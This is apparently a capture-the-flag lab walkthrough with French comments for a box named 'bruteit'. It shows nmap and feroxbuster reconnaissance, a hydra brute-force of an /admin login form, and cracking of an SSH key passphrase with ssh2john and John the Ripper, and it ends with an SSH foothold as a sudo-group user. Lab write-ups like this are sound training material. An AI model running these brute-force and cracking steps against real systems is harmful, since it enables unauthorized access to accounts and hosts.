Recon

IP target

10.10.80.247

IP Attacker

10.21.171.239

nmap

nmap -A $TARGET -T4 -p- --oN nmap.txt
Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-10-01 20:41 CEST
Nmap scan report for 10.10.80.247
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b0ebf14fa54b35c4415edb25da0ac8f (RSA)
|   256 d03a8155135e870ce8521ecf44e03a54 (ECDSA)
|_  256 dace79e045eb1725ef62ac98f0cfbb04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

2 open ports: TCP/80 (http) & TCP/22 (ssh)
Ubuntu
- Apache httpd 2.4.29
- OpenSSH 7.6p1

Directory Brute-force

feroxbuster --insecure -w `fzf-wordlists` -u "<http://$TARGET>" -d2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ <http://10.10.80.247>
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/lists/seclists/Discovery/Web-Content/directory-list-1.0.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ <https://github.com/epi052/feroxbuster/releases/latest>
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       15l       74w     6147c <http://10.10.80.247/icons/ubuntu-logo.png>
301      GET        9l       28w      312c <http://10.10.80.247/admin> => <http://10.10.80.247/admin/>
200      GET      375l      964w    10918c <http://10.10.80.247/>
301      GET        9l       28w      318c <http://10.10.80.247/admin/panel> => <http://10.10.80.247/admin/panel/>
[##>-----------------] - 16s    30254/283399  2m      found:4       errors:0
[##>-----------------] - 16s    16036/141695  1028/s  <http://10.10.80.247/>
[##>-----------------] - 10s    14188/141695  1419/s  <http://10.10.80.247/admin/>

hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form "/admin/:user=^USER^&pass=^PASS^:F=invalid"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2025-10-01 21:11:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.80.247:80/admin/:user=^USER^&pass=^PASS^:F=invalid

[80][http-post-form] host: 10.10.80.247   login: admin   password: xavier

1 of 1 target successfully completed, 1 valid password found
Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2025-10-01 21:11:36

admin:xavier #user:pass de l'URL /admin

nano john_private # copy-paste de la clé
chmod 600 john_private # permissions
ssh2john.py john_private > john_private_hash #format pour crack par JTR

john --wordlist=`fzf-wordlists` john_private_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 3DES/AES 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

rockinroll   #passphrase de la clé privée RSA

Session completed.

ssh -i john_private john@$TARGET

Enter passphrase for key 'john_private':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)

Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106
john@bruteit:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)